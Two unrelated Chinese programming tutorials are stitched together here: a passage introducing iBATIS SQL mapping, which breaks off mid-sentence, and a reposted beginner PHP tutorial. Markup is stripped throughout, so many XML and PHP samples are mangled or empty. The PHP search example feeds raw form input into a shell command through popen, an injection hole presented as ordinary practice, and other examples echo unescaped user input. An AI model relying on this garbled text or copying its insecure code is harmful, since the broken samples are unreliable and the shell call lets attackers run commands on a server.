系统数据处理量巨大,性能要求极为苛刻,这往往意味着我们必须通过经过高度优化的SQL 语句(或存储过程)才能达到系统性能设计指标。面对这样的需求,再次举起Hibernate 大刀,却发现刀锋不再锐利,甚至无法使用,奈何?恍惚之际,只好再摸出JDBC 准备拼死一搏……,说得未免有些凄凉,直接使用JDBC 进行数据库操作实际上也是不错的选择,只是拖沓的数据库访问代码,乏味的字段读取操作令人厌烦。“半自动化”的ibatis,却刚好解决了这个问题。这里的“半自动化”,是相对Hibernate 等提供了全面的数据库封装机制的“全自动化”ORM 实现而言,“全自动”ORM 实现了POJO 和数据库表之间的映射,以及SQL 的自动生成和执行。而ibatis 的着力点,则在于POJO 与SQL 之间的映射关系。也就是说,ibatis 并不会为程序员在运行期自动生成SQL 执行。具体的SQL 需要程序员编写,然后通过映射配置文件,将SQL 所需的参数,以及返回的结果字段映射到指定POJO 。使用ibatis 提供的ORM 机制,对业务逻辑实现人员而言,面对的是纯粹的Java 对象, 这一层与通过Hibernate 实现ORM 而言基本一致,而对于具体的数据操作,Hibernate 会自动生成SQL 语句,而ibatis 则要求开发者编写具体的SQL 语句。相对Hibernate 等“全自动”ORM 机制而言,ibatis 以SQL 开发的工作量和数据库移植性上的让步,为系统设计提供了更大的自由空间。作为“全自动”ORM 实现的一种有益补充,ibatis 的出现显得别具意义。ibatis Quick Start 准备工作1. 下载ibatis 软件包(http://www.ibatis.com)。2. 创建测试数据库,并在数据库中创建一个t_user 表,其中包含三个字段: . id(int) . name(varchar) . sex(int) 。3. 为了在开发过程更加直观,我们需要将ibatis 日志打开以便观察ibatis 运作的细节。ibatis 采用Apache common_logging,并结合Apache log4j 作为日志输出组件。在CLASSPATH 中新建log4j.properties 配置文件,内容如下:log4j.rootLogger=DEBUG, stdout log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern=%c{1} -%m%n log4j.logger.java.sql.PreparedStatement=DEBUG 构建ibatis 基础代码ibatis 基础代码包括: 1. ibatis 实例配置一个典型的配置文件如下(具体配置项目的含义见后): <!DOCTYPE sqlMapConfigPUBLIC "-//iBATIS.com//DTD SQL Map Config 2.0//EN""http://www.ibatis.com/dtd/sql-map-config-2.dtd"><settingscacheModelsEnabled="true"enhancementEnabled="true"lazyLoadingEnabled="true"errorTracingEnabled="true"maxRequests="32"maxSessions="10"maxTransactions="5"useStatementNamespaces="false" /> valuevalue"Pool.MaximumActiveConnections" "Pool.MaximumIdleConnections" "Pool.MaximumCheckoutTime" valuevaluevalue"Pool.PingConnectionsOlderThan" "Pool.PingConnectionsNotUsedFor" 2. POJO(Plain Ordinary Java Object) 下面是我们用作示例的一个POJO: public class User implements Serializable { private Integer id; private String name; private Integer sex; private Set addresses = new HashSet(); /** default constructor */public User() { } public Integer getId() {return this.id; } public void setId(Integer id) {this.id = id; } public String getName() {return this.name; } public void setName(String name) {this.name = name; } public Integer getSex() {return this.sex; } public void setSex(Integer sex) {this.sex = sex; } }3. 映射文件与Hibernate 不同。因为需要人工编写SQL 代码,ibatis 的映射文件一般采用手动编写(通过Copy/Paste,手工编写映射文件也并没想象中的麻烦)。针对上面POJO 的映射代码如下:<!DOCTYPE sqlMapPUBLIC "-//iBATIS.com//DTD SQL Map 2.0//EN""http://www.ibatis.com/dtd/sql-map-2.dtd"><select id="getUser"parameterClass="java.lang.String"resultClass="user"><![CDATA[select name, sex from t_user where name = #name# ]]><update id="updateUser"parameterClass="user"> <![CDATA[UPDATE t_user SETname=#name#, sex=#sex# WHERE id = #id# ]]><insert id="insertUser"parameterClass="user">INSERT INTO t_user ( name, sex)VALUES ( #name#,#sex# ) <delete id="deleteUser"parameterClass="java.lang.String">delete from t_user where id = #value# 从上面的映射文件可以看出,通过、、、四个节点,我们分别定义了针对TUser 对象的增删改查操作。在这四个节点中,我们指定了对应的SQL 语句,以update 节点为例: ……<update id="updateUser" ⑴ parameterClass="user"> ⑵ <![CDATA[ ⑶ UPDATE t_user ⑷ SET ( IBATIS Developer’s Guide Version 1.0 name=#name#, ⑸ sex=#sex# ⑹ ) WHERE id = #id# ⑺ ]]> …… ⑴ ID 指定了操作ID,之后我们可以在代码中通过指定操作id 来执行此节点所定义的操作,如:sqlMap.update("updateUser",user); ID 设定使得在一个配置文件中定义两个同名节点成为可能(两个update 节点,以不同id 区分) ⑵ parameterClass 指定了操作所需的参数类型,此例中update 操作以com.ibatis.sample.User 类型的对象作为参数,目标是将提供的User 实例更新到数据库。parameterClass="user"中,user 为“com.ibatis.sample.User” 类的别名,别名可通过typeAlias 节点指定,如示例配置文件中的:⑶ 通过节点,可以避免SQL 中与XML 规范相冲突的字符对XML 映射文件的合法性造成影响。⑷ 执行更新操作的SQL,这里的SQL 即实际数据库支持的SQL 语句, 将由ibatis 填入参数后交给数据库执行。⑸ SQL 中所需的用户名参数,“#name#”在运行期会由传入的user 对象的name 属性填充。⑹ SQL 中所需的用户性别参数“#sex#”, 将在运行期由传入的user 对象的sex 属性填充。⑺ SQL 中所需的条件参数“#id#”, 将在运行期由传入的user 对象的id 属性填充。对于这个示例,ibatis 在运行期会读取id 为“updateUser”的update 节点的SQL 定义,并调用指定的user 对象的对应getter 方法获取属性值,并用此属性值,对SQL 中的参数进行填充后提交数据库执行。此例对应的应用级代码如下,其中演示了的基本使用方法:String resource ="com/ibatis/sample/SqlMapConfig.xml"; Reader reader; ibatis SQLMap reader = Resources.getResourceAsReader(resource); XmlSqlMapClientBuilder xmlBuilder =new XmlSqlMapClientBuilder(); SqlMapClient sqlMap = xmlBuilder.buildSqlMap(reader); //sqlMap系统初始化完毕,开始执行update操作try{ sqlMap.startTransaction(); User user = new User(); user.setId(new Integer(1)); user.setName("Erica"); user.setSex(new Integer(1)); sqlMap.update("updateUser",user); sqlMap.commitTransaction(); finally{ sqlMap.endTransaction(); } 其中,SqlMapClient 是ibatis 运作的核心,所有操作均通过SqlMapClient 实例完成。可以看出,对于应用层而言,程序员面对的是传统意义上的数据对象,而非JDBC 中烦杂的ResultSet,这使得上层逻辑开发人员的工作量大大减轻,同时代码更加清晰简洁。数据库操作在映射文件中加以定义,从而将数据存储逻辑从上层逻辑代码中独立出来。而底层数据操作的SQL 可配置化,使得我们可以控制最终的数据操作方式,通过SQL 的优化获得最佳的数据库执行效能,这在依赖SQL 自动生成的“全自动”ORM 机制中是所难以实现的。ibatis 配置结合上面示例中的ibatis 配置文件。下面是对配置文件中各节点的说明: PUBLIC "> <settings ⑴cacheModelsEnabled=enhancementEnabled=lazyLoadingEnabled=errorTracingEnabled=maxRequests=maxSessions=maxTransactions=useStatementNamespaces=/> ⑵ ⑶ <!DOCTYPE sqlMapConfig "-//iBATIS.com//DTD SQL Map Config 2.0//EN" "http://www.ibatis.com/dtd/sql-map-config-2.dtd"true" "true" "true" "true" "32" "10" "5" "false" valuevalue"Pool.MaximumActiveConnections" "Pool.MaximumIdleConnections" "Pool.MaximumCheckoutTime" valuevaluevalue"Pool.PingConnectionsOlderThan" "Pool.PingConnectionsNotUsedFor" ⑷ ⑴ Settings 节点参数描述cacheModelsEnabled 是否启用SqlMapClient 上的缓存机制。建议设为"true" enhancementEnabled 是否针对POJO 启用字节码增强机制以提升getter/setter 的调用效能,避免使用Java Reflect 所带来的性能开销。同时,这也为Lazy Loading 带来了极大的性能提升。建议设为"true" errorTracingEnabled 是否启用错误日志,在开发期间建议设为"true" 以方便调试lazyLoadingEnabled 是否启用延迟加载机制,建议设为"true" maxRequests 最大并发请求数(Statement 并发数) maxTransactions 最大并发事务数maxSessions 最大Session 数。即当前最大允许的并发SqlMapClient 数。maxSessions 设定必须介于maxTransactions 和maxRequests 之间,即maxTransactions<maxSessions=< maxRequests useStatementNamespaces 是否使用Statement 命名空间。这里的命名空间指的是映射文件中,sqlMap 节点的namespace 属性,如在上例中针对t_user 表的映射文件sqlMap 节点: 这里,指定了此sqlMap 节点下定义的操作均从属于"User"命名空间。在useStatementNamespaces="true"的情况下,Statement 调用需追加命名空间,如:⑵ transactionManager 节点sqlMap.update("User.updateUser",use r); 否则直接通过Statement 名称调用即sqlMap.update("updateUser",user); 但请注意此时需要保证所有映射定义无重名。可,如:文件中,Statement transactionManager 节点定义了ibatis 的事务管理器,目前提供了以下几种选择: . JDBC 通过传统JDBC Connection.commit/rollback 实现事务支持。. JTA 使用容器提供的JTA 服务实现全局事务管理。. EXTERNAL 外部事务管理, 如在EJB 中使用ibatis,通过EJB 的部署配置即可实现自动的事务管理机制。此时ibatis 将把所有事务委托给外部容器进行管理。此外,通过Spring 等轻量级容器实现事务的配置化管理也是一个不错的选择。关于结合容器实现事务管理,参见“高级特性”中的描述。⑶ dataSource 节点dataSource 从属于transactionManager 节点,用于设定ibatis 运行期使用的DataSource 属性。type 属性: dataSource 节点的type属性指定了dataSource 的实现类型。可选项目: . SIMPLE: SIMPLE 是ibatis 内置的dataSource 实现,其中实现了一个简单的数据库连接池机制,对应ibatis 实现类为com.ibatis.sqlmap.engine.datasource.SimpleDataSourceFactory 。. DBCP: 基于Apache DBCP 连接池组件实现的DataSource 封装,当无容器提供DataSource 服务时,建议使用该选项,对应ibatis 实现类为com.ibatis.sqlmap.engine.datasource.DbcpDataSourceFactory 。. JNDI: 使用J2EE 容器提供的DataSource 实现,DataSource 将通过指定的JNDI Name 从容器中获取。对应ibatis 实现类为com.ibatis.sqlmap.engine.datasource.JndiDataSourceFacto ry。dataSource 的子节点说明(SIMPLE
application/msword
标题:PHP基础教程 出处:风流的CG网络日志 时间:Mon, 28 Aug 2006 07:24:34 +0000 作者:yufeng 地址:http:///read.php?38 内容: 提供给新手学习的 PHP新手教程,是一个比较有价值的PHP新手教程! 一、PHP简介 PHP是一种易于学习和使用的服务器端脚本语言。只需要很少的编程知识你就能使用PHP建立一个真正交互的WEB站点。本教程并不想让你完全了解这种语言,只是能使你尽快加入开发动态web站点的行列。我假定你有一些HTML(或者HTML编辑器)的基本知识和一些编程思想。 1.简介 PHP是能让你生成动态网页的工具之一。PHP网页文件被当作一般HTML网页文件来处理并且在编辑时你可以用编辑HTML的常规方法编写PHP。 PHP代表:超文本预处理器(PHP: Hypertext Preprocessor)。PHP是完全免费的,不用花钱,你可以从PHP官方站点(http://www.php.net)自由下载。PHP遵守GNU公共许可(GPL),在这一许可下诞生了许多流行的软件诸如Linux和Emacs。你可以不受限制的获得源码,甚至可以从中加进你自己需要的特色。PHP在大多数Unix平台,GUN/Linux和微软Windows平台上均可以运行。怎样在Windows环境的PC机器或Unix机器上安装PHP的资料可以在PHP官方站点上找到。安装过程很简单。 如果你的机器解决了2000问题,那么PHP也一样没有千年虫问题! 1.1 历史 三年前,Rasmus Lerdorf为了创建他的在线简历而创造了"个人主页工具"(Personal Home Page Tools)。这是一种非常简单的语言。其后越来越多的人们注意到了这种语言并对其扩展提出了各种建议。在许多人的无私奉献下以及这种语言本身的源代码自由性质,它演变成为一种特点丰富的语言,而且现在还在成长中。 PHP虽然很容易学习,但是速度上比mod_perl(植入web服务器的perl模块)慢。现在有了可以与mod_perl速度想媲美的被称作Zend的新引擎,而PHP4就可以充分利用这个引擎。PHP4还处在BETA测试阶段。Andy Gutmans和Zeev Suraki是Zend的主要作者。可以去Zend站点(http://www.zend.com)了解更多。 PHP的应用在个人性质的web工程中增长显著。根据Netcraft在1999年10月的报告,有931122个域和321128个IP地址利用PHP技术。 1.2 PHP的先进之处 应用PHP有许多好处。当然已知的不利之处在于PHP由于是开放源码项目,没有什么商业支持,并且由此而带来的执行速度缓慢(直到PHP4之前)。但是PHP的邮件列表很是有用而且除非你正在运行像Yahoo!或者Amazon.com这样的极受欢迎的站点,你不会感觉出PHP的速度与其他的有什么不同。最起码我就没有感觉出来!好了,让我们来看看PHP有那些优点: - 学习过程 我个人更喜欢PHP的非常简单的学习过程。与Java和Perl不同,你不必把头埋进100多页的文档中努力学习才可以写出一个象样的程序。只要了解一些基本的语法和语言特色,你就可以开始你的PHP编码之旅了。之后你在编码过程中如果遇到了什么麻烦,还可以再去翻阅相关文档。 PHP的语法与C,Perl,ASP或者JSP。对于那些对上述之一的语言较熟悉的人来说,PHP太简单了。相反的,如果你对PHP了解较多,那么你对于其他几种语言的学习都很简单了。 你只需要30分钟就可以将PHP的核心语言特点全部掌握,你可能已经非常了解HTML,甚至你已经知道怎样用编辑设计软件或者手工来制作好看的WEB站点。由于PHP代码能够无障碍的添加进你的站点,在你设计和维护站点的同时,你可以很轻松的加入PHP使得你的站点更加具有动态特性。 - 数据库连接 PHP可以编译成具有与许多数据库相连接的函数。PHP与MySQL是现在绝佳的组合。你还可以自己编写外围的函数取间接存取数据库。通过这样的途径当你更换使用的数据库时,可以轻松的更改编码以适应这样的变化。PHPLIB就是最常用的可以提供一般事务需要的一系列基库。 - 可扩展性 就像前面说的那样,PHP已经进入了一个高速发展的时期。对于一个非程序员来说为PHP扩展附加功能可能会比较难,但是对于一个PHP程序员来说并不困难。 - 面向对象编程 PHP提供了类和对象。基于web的编程工作非常需要面向对象编程能力。PHP支持构造器、提取类等。 - 可伸缩性 传统上网页的交互作用是通过CGI来实现的。CGI程序的伸缩性不很理想,因为它为每一个正在运行的CGI程序开一个独立进程。解决方法就是将经常用来编写CGI程序的语言的解释器编译进你的web服务器(比如mod_perl,JSP)。PHP就可以以这种方式安装,虽然很少有人愿意这样以CGI方式安装它。内嵌的PHP可以具有更高的可伸缩性。 - 更多特点 PHP的开发者们为了更适合web编程,开发了许多外围的流行基库,这些库包含了更易用的层。你可以利用PHP连接包括Oracle,MS-Access,Mysql在内的大部分数据库。你可以在苍蝇上画图,编写程序下载或者显示e-mail。你甚至可以完成网络相关的功能。最好的是,你可以选择你的PHP安装版本需要哪些功能。引用Nissan的Xterra的话来说就是PHP可以做到你想让它做到的一切而且无所不能! 1.3 竞争对手:ASP,mod_perl,JSP 我当然不清楚ASP/JSP能做些什么。不过明确的是编写那样的代码有多简单,购买它们会有多昂贵以及它们需要多么昂贵和强大的硬件。如果你有什么中立的观点(比如说没有被SUN和Microsoft的百万美金所影响),请顺便通知我。 据我所知,JSP基于Java,因此Java程序员可以轻松开始编码。ASP只是一个一般的引擎,具有支持多种语言的能力,不过默认的并且是最常用的还是VBScript。 mod_perl与Perl一样强大,只是更快一些。 二、PHP入门 PHP站点的在线教程已经很棒了。在那里还有一些其他教程的链接。而本文的该部分将让你对PHP熟悉一点。我不可能做到没有任何遗漏,我的目的只在于能让你迅速开始你的PHP编程。 2.1 首要条件 你首先必须要有一个正在工作着的支持PHP的web服务器。我假定在你的服务器上所有PHP文件的扩展名为.php3。 2.2 PHP的安装 生成一个名为test.php3的文件,含有以下内容: 然后在你的浏览器中打开此文件。看看这个页面你就知道你的PHP安装使用的选项了。 2.3 语法 就像前面提到的一样,你可以混合编写你的PHP代码和HTML代码。因此你必须有办法将两者区别开来。以下就是你可以采用的几种方法。你可以选用其中一种你最适应的并且就这样坚持这种方法! 从HTML中分离 以下是可以使用的方法: . . . 语句 与Perl和C一样,在PHP中用(;)来分隔语句。那些从HTML中分离出来的标志也表示语句的结束。 注释 PHP支持C,C++和Unix风格的注释方式: /* C,C++风格多行注释 */ // C++风格单行注释 # Unix风格单行注释 Hello,World! 通过我们已经学过的知识,你可以编写一个最简单的程序输出一个也许是程序世界中最有名的词语: First PHP page 2.4 数据类型 PHP支持整数、浮点数、字符串、数组和对象。变量类型通常不由程序员决定而由PHP运行过程决定(真是好的解脱!)。但是类型也可以被函数cast或者settype()明确的设定。 数值 数值类型可以是整数或是浮点数。你可以用以下的语句来为一个数值赋值: $a = 1234; # 十进制数 $a = -123; # 负数 $a = 0123; # 八进制数 (等于十进制数的83) $a = 0x12; # 十六进制数(等于十进制数的18) $a = 1.234; # 浮点数"双精度数" $a = 1.2e3; # 双精度数的指数形式 字符串 字符串可以由单引号或双引号引出的字段定义。注意不同的是被单引号引出的字符串是以字面定义的,而双引号引出的字符串可以被扩展。反斜杠(\)可以被用来分割某些特殊字符。举例如下: $first = 'Hello'; $second = "World"; $full1 = "$first $second"; # 产生 Hello World $full2 = '$first $second';# 产生 $first $second 可以将字符和数字利用运算符号连接起来。字符被转化成数字,利用其最初位置。在PHP手册中有详细的例子。 数组与哈希表 数组与哈希表以同样的方法被支持。怎样运用取决于你怎样定义它们。你可以用list()或者array()来定义它们,也可以直接为数组赋值。数组的索引从0开始。虽然我在这里没有说明,但是你一样可以轻易的使用多维数组。 // 一个包含两个元素的数组 $a[0] = "first"; $a[1] = "second"; $a[] = "third"; // 添加数组元素的简单方法 // 现在$a[2]被赋值为"third" echo count($a); // 打印出3,因为该是数组有3个元素 // 用一个语句定义一个数组并赋值 $myphonebook = array ( "sbabu" => "5348", "keith" => "4829", "carole" => "4533" ); // 噢,忘了教长吧,让我们添加一个元素 $myphonebook["dean"] = "5397"; // 你定义的carale元素错了,让我们更正它 $myphonebook["carole"] => "4522" // 我还没有告诉你怎样使用数组的相似支持方式吗?让我们看一看 echo "$myphonebook[0]"; // sbabu echo "$myphonebook[1]"; // 5348 其他一些对数组或哈希表有用的函数包括sort(),next(),prev()和each()。 对象 使用new语句产生一个对象: class foo { function do_foo () { echo "Doing foo."; } } $bar = new foo; $bar->do_foo(); 改变变量类型 在PHP手册中提到:"PHP不支持(也不需要)直接在声明变量时定义变量类型;变量类型将根据其被应用的情况决定。如果你为变量var赋值为一个字符串,那么它变成了一个字符串。如果你又为它赋了整数值,那么它就变成了整数。" $foo = "0"; // $foo是字符串(ASCII 48) $foo++; // $foo是字符串"1" (ASCII 49) $foo += 1; // $foo现在是整数(2) $foo = $foo + 1.3; // $foo是一个双精度数(3.3) $foo = 5 + "10 Little Piggies"; // $foo是一个整数(15) $foo = 5 + "10 Small Pigs"; // $foo是一个整数(15) 如果想要强行转换变量类型,可以使用与C语言相同的函数settype()。 2.5 变量与常量 可能你已经注意到,变量都有一个美元符号($)的前缀。所有变量都是局部变量,为了使得定义的函数中可以使用外部变量,使用global语句。而你要将该变量的作用范围限制在该函数之内,使用static语句。 $g_var = 1 ; // 全局范围 function test() { global $g_var; // 这样就可以声明全局变量了 } 更先进一些的是变量的变量表示。请参考PHP手册。这在有时会显得很有用。 PHP内置了许多已定义的变量。你也可以用define函数定义你自己的常量,比如define("CONSTANT","value")。 2.6 运算符 PHP具有C,C++和Java中的通常见到的运算符。这些运算符的优先权也是一致的。赋值同样使用"="。 算术和字符 以下只有一种运算符是有关字符的: $a + $b :加 $a - $b :减 $a * $b :乘 $a / $b :除 $a % $b :取模(余数) $a . $b :字符串连接 逻辑和比较 逻辑运算符有: $a || $b :或 $a or $b :或 $a && $b :与 $a and $b :与 $a xor $b :异或 (当$a或$b为true时为true,两者一样时为false) ! $a :非 比较运算符有: $a == $b :相等 $a != $b :不等 $a < $b :小于 $a $b :大于 $a >= $b :大于等于 与C一样PHP也有三重运算符(?:)。位操作符在PHP同样存在。 优先权 就和C以及Java一样! 2.7 控制流程结构 PHP有着与C一样的流程控制。我将在下面大概介绍。 if, else, elseif, if(): endif if (表达式一) { . . . } elseif (表达式二) { . . . } else { . . . } // 或者像Python一样 if (表达式一) : . . . . . . elseif (表达式二) : . . . else : . . . endif ; Loops. while, do..while, for while (表达式) { . . . } do { . . . } while (表达式); for (表达式一; 表达式二; 表达式三) { . . . } //或者像Python一样 while (expr) : . . . endwhile ; switch switch是对多重if-elseif-else结构的最好的替换: switch ($i) { case 0: print "i equals 0"; case 1: print "i equals 1"; case 2: print "i equals 2"; } break, continue break中断当前的循环控制结构。 continue被用来跳出剩下的当前循环并继续执行下一次循环。 require, include 就像C中的#include预处理一样。你在require中指定的那个文件将替代其在主文件中的位置。在有条件的引用文件时,可以使用include()。这样就使得你可以将复杂的PHP文件分割成多个文件并且在不同需要时分别引用它们。 2.8 函数 你可以像以下的例子一样定义自己的函数。函数的返回值可以是任何数据类型: function foo (变量名一, 变量名二, . . . , 变量名n) { echo "Example function.\n"; return $retval; } 所有PHP代码都可以出现在函数定义中,甚至包括对其他函数和类的定义。函数必须在引用之前定义。 2.9 类 利用类模型建立类。可以参考PHP手册中对类的详细解释。 class Employee { var $empno; // 员工人数 var $empnm; // 员工姓名 function add_employee($in_num, $in_name) { $this->empno = $in_num; $this->empnm = $in_name; } function show() { echo "$this->empno, $this->empnm"; return; } function changenm($in_name) { $this->empnm = $in_name; } } $sbabu = new Employee; $sbabu->add_employee(10,"sbabu"); $sbabu->changenm("babu"); $sbabu->show(); 三、从实例入手  PHP的许多特点与其他软件或者工具有关。利用迄今为止我们所学到的PHP知识,我们可以试着建立一个简单交互的网站。利用这一过程我们又可以学到不少东西。好吧,我们现在开始专注于一个典型个人网站的建设。 3.1 计划一个站点 一般一个个人站点包括一个欢迎页面、一个留言本页面、一个书签链接页面、一个计数器、联系信息,甚至还有照片集和一些音乐文件等等。让我们从一个标题页面、一个联系信息页面和一个简历页面开始。我们同样需要标准的通用的页面头部和底部。 标题页面--front.html 这里我们有一个非常简单的html文件: 我的个人主页--欢迎 我的个人主页 欢迎 欢迎来我的寒舍,虽然这里现在暂时还没有什么。 不过我希望马上就可以多起来。 Copyright ? 我自己,1999 联系信息页面--count.html 同样我们又有了一个简单页面: 我的个人主页--联系信息 我的个人主页 联系信息 你可以通过1-800-PHP-INFO联系我 Copyright ? 我自己,1999 3.2 HTML到PHP 从上面你可以看出,每个页面有相同的头部和底部。像上面那样每个页面都写入相同的信息在工作量少的时候还可以,但是想象一下当有100多页面且你需要全部更改其头部或底部时你要花费多大精力?一页一页的手工更改是一件多么冗长无趣的事情啊!所以我们应该为这些页面编写PHP的头部和底部文件,之后我们只要在每个HTML页面中引用它们就行了。我们将把这些include文件放在一个叫include的子目录下。下面我们就把这些站点的通用内容写进文件中。 全站通用变量设定:common.inc <? // 全站通用变量 $MyEmail = "phptalk@tnc.org"; $MyEmailLink = "$MyEmail"; $MyName = "PHP Talk"; $MySiteName = $MyName."'s Home Page"; ?> 通用页面头部:header.inc 通用页面底部:footer.inc Copyright ? by , 1999 新的页面front.php3: 欢迎来我的寒舍,虽然这里现在暂时还没有什么。 不过我希望马上就可以多起来。 新的cont.php3: 你可以通过1-800-PHP-INFO联系我 现在你就可以猜出这样安排的好处了。如果你想改动页面的头部或者底部,你只需要改动相应的文件就可以了。如果你要修改你的e-mail地址甚至你的名字,只要修改common.inc文件就行了。另外值得注意的是你可以把具有任何文件名或者文件扩展名的文件包含进你的文件中,你甚至可以包含其他站点上的文件。 3.3 计数器 让我们在首页上加上一个计数器。这个例子已经被讲过多次了,但是还是有利于演示怎样读写文件以及创建自己的函数。counter.inc包含以下代码: 然后我们更改front.php3文件以显示这个计数器: <? include("include/counter.inc"); // 我把计数值放在文件counter.txt中,读出并输出 printf ("%06d \n", get_hitcount("counter.txt")); include("include/footer.inc"); ?> 看看我们的新front.php3 3.4 反馈表单 让我们再添加一个反馈表单以便你的浏览者填写并e-mail给你。举例来说我们用一种很简单的方法实现它,我们只需要两个页面:一个为浏览者提供输入表单;一个获得表单数据并处理、mail给你。 PHP中获取表单数据是很简单的。当一个表单被发送后,表单中所包含的各个元素被赋上了相应的值,而这样就可以像引用一般变量一样使用了。 在process_form.php3中,变量$mytext就被赋予了输入的值--非常简单!同样的,你可以从列表框、多选框、单选框、按钮等表单元素中取得变量值。你唯一要做的就是为表单中的每一个元素取名以便将来可以引用。 根据这个方法,我们可以生成一个简单的包含三个元素的表单:姓名、e-mail地址和留言。当浏览者发送表单后,处理该表单的PHP页面(sendfdbk.php3)读取数据,检查姓名是否为空,最后将数据mail给你。 表单:form.php3 Your feedback on my home page. 处理表单:sendfdbk.php3 <? include("include/common.inc"); $title = "Feedback"; include("include/header.inc"); if ( $name == "" ) { // 现在我很讨厌匿名的留言! echo "Duh ? How come you are anonymous?"; } elseif ($name == "Your name") { // 这个浏览者真是不想透露姓名啊! echo "Hello ? Your name is supposed to be replaced with your actual name!"; } else { // 输出一段礼貌的感谢语 echo " Hello, $name. Thank you for your feedback. It is greatly appreciated. Thanking you $MyName $MyEmailLink "; // 最后mail出去 mail($MyEmail, "Feedback."," Name : $name E-mail : $email Comment : $comment "); } include("include/footer.inc"); ?> 3.5 简单的站内搜索引擎 PHP可以调用外部程序。在Unix环境下我们可以利用程序grep实现一个简单的搜索引擎。我们可以做的稍微复杂一些:使用一个页面既输出一个表单供用户输入搜索字串又输出查询结果。 <FORM ACTION="" METHOD="POST"> <INPUT TYPE="text" NAME="searchstr" value="" SIZE="20" MAXLENGTH="30"> <? if ( ! empty($searchstr) ) { // empty()用来检查查询字串是否为空 // 如果不为空,调用grep查询 echo "\n"; // 调用grep对所有文件进行大小写非敏感模式的查询 $cmdstr = "grep -i $searchstr *"; $fp = popen( $cmdstr, "r" ); // 执行命令并输出管道 $myresult = array(); // 存储查询结果 while( $buffer = fgetss ($fp, 4096)) { // grep返回这样格式: 文件名:匹配字串出现行数 // 因此我们利用函数split()分离处理数据 list($fname, $fline) = split(":",$buffer, 2); // 我们只输出第一次匹配的结果 if ( !defined($myresult[$fname])) $myresult[$fname] = $fline; } // 现在我们将结果存储在数组中,下面就可以处理并输出了 if ( count($myresult) ) { echo "\n"; while(list($fname,$fline) = each($myresult)) echo " $fname : $fline \n"; echo "\n"; } else { // 如果没有查询结果 echo "Sorry. Search on $searchstr returned no results.\n"; } pclose($fp); } ?> 注释: PHP_SELF是PHP内建的变量。包含当前文件名。 fgets()按行读取文件,最多4096(指定)字符长度。 fgetss()与fgets()相似,只是解析输出的HTML标记。 split()有一个参数是2,因为我们只需要把输出分成两部分。另外需要省略":"。 each()是一个数组操作函数,用来更方便的遍历整个数组。 popen()、pclose()与fopen()、fclose()的功能很相似,只是增加了管道处理。 请注意以上的代码并不是实现一个搜索引擎的好办法。这只是有助于我们更好学习PHP而举出的一个例子而已。理想的情况是你应该建立一个包含关键字的数据库然后进行搜索 四、与数据库链接 通过PHP你可以轻松的连接到数据库,请求数据并将其显示在你的web站点中,甚至修改数据库中的数据。MySQL是一种很流行的数据库,并且在互联网中有许多有关PHP与MySQL的教程。MySQL是免费的,这一点也许就吸引了不少人。由于其广泛应用,我就不想在这里赘述MySQL的使用方法了。Oracle被大量在企业应用中采用,因此我们就利用Oracle来介绍PHP与数据库的连接。我们当然不会提及Oracle数据库的设计原理,原因是这已经超出了我们的讨论范围。 PHP提供了两套函数与Oracle连接,分别是ORA_和OCI函数。其中ORA_函数略显陈旧。OCI函数更新据说更好一些。两者的使用语法几乎相差无几。如前所述,你的PHP安装选项应该可以支持两者的使用。 想获得更多有关在Microsoft Windows平台上安装支持PHP3的Apache服务器的知识以及更多有关Oracle数据库的知识,请查阅以下URL:www.csoft.net/~vsbabu/articles/oraphp.html。 4.1 连接 <? if ($conn=Ora_Logon("user@TNSNAME","password")) { echo "SUCCESS ! Connected to database\n"; } else { echo "Failed :-( Could not connect to database\n"; } Ora_Logoff($conn); phpinfo(); ?> 以上代码使用TNSNAME(在你的tnsnames.ora文件中指明)定义的Oracle数据库名称、用户名称和密码连接数据库。在成功连接的基础上,ora_logon函数返回一个非零的连接ID并储存在变量$conn中。 4.2 查询 假设与数据库已经连接就绪,下面我们就来实际的应用对数据库的查询。下面的代码演示了一个连接并查询的典型例子: <? /* * 连接数据库并执行查询 */ function printoraerr($in_cur) { // 检查Oracle是否出错 // 如果存在错误则显示 // 当指针被激活时每次请求Oracle后调用该函数 if(ora_errorcode($in_cur)) echo "Oracle code - ".ora_error($in_cur)."\n"; return; } /** 主程序 */ if (!($conn=ora_logon("user@TNSNAME","password"))) { echo "Connection to database failed\n"; exit; } echo "Connected as connection - $conn\n"; echo "Opening cursor ...\n"; $cursor=ora_open($conn); printoraerr($cursor); echo "Opened cursor - $cursor\n"; $qry="select user,sysdate from dual"; echo "Parsing the query $qry ...\n"; ora_parse($cursor,$qry,0); printoraerr($cursor); echo "Query parsed \n"; echo "Executing cursor ...\n"; ora_exec($cursor); printoraerr($cursor); echo "Executed cursor\n"; echo "Fetching cursor ...\n"; while(ora_fetch($cursor)) { $user=ora_getcolumn($cursor,0); printoraerr($cursor); $sysdate=ora_getcolumn($cursor,1); printoraerr($cursor); echo " row = $user, $sysdate \n"; } echo "Fetched all records\n"; echo "Closing cursor ...\n"; ora_close($cursor); echo "Closed cursor\n"; echo "Logging off from oracle... \n"; ora_logoff($conn); echo "Logged off from oracle \n"; ?> (译者注:以上代码段缺少注释,请读者参考PHP Manual的Oracle数据库函数部分) 4.3 显示结果 以下代码演示了怎样查询数据库并将结果输出: <? function printoraerr($in_cur, $conn) { // 检查Oracle是否出错 // 如果存在错误则显示 // 当指针被激活时每次请求Oracle后调用该函数 // If it encountered an error, we exit immediately if(ora_errorcode($in_cur)) { echo "Oracle code - ".ora_error($in_cur)."n"; ora_logoff($conn); exit; } return; } function exequery($w_qry,$conn) { $cursor=ora_open($conn); printoraerr($cursor,$conn); ora_parse($cursor,$w_qry,0); printoraerr($cursor,$conn); ora_exec($cursor); printoraerr($cursor,$conn); $numrows=0; $w_numcols=ora_numcols($cursor); // 显示头部 echo " \n"; for ($i=0;$i<$w_numcols;$i++) { $align=(ora_columntype($cursor,$i)=="NUMBER")?"RIGHT":"LEFT"; echo "\t".ora_columnname($cursor,$i)."\n"; } echo "\n"; while(ora_fetch($cursor)) { echo "\n"; for ($i=0;$i<$w_numcols;$i++) { $align=(ora_columntype($cursor,$i)=="NUMBER")?"RIGHT":"LEFT"; if(ora_columntype($cursor,$i)=="LONG") echo "". ora_getcolumn($cursor,$i)."\n"; else echo "".ora_getcolumn($cursor,$i)."\n"; printoraerr($cursor,$conn); } $numrows++; echo "\n"; } if ($numrows==0) echo "Query returned no records \n"; else { echo "\n"; echo "Count\n"; echo "$numrows\n"; echo "\n"; } echo "\n"; 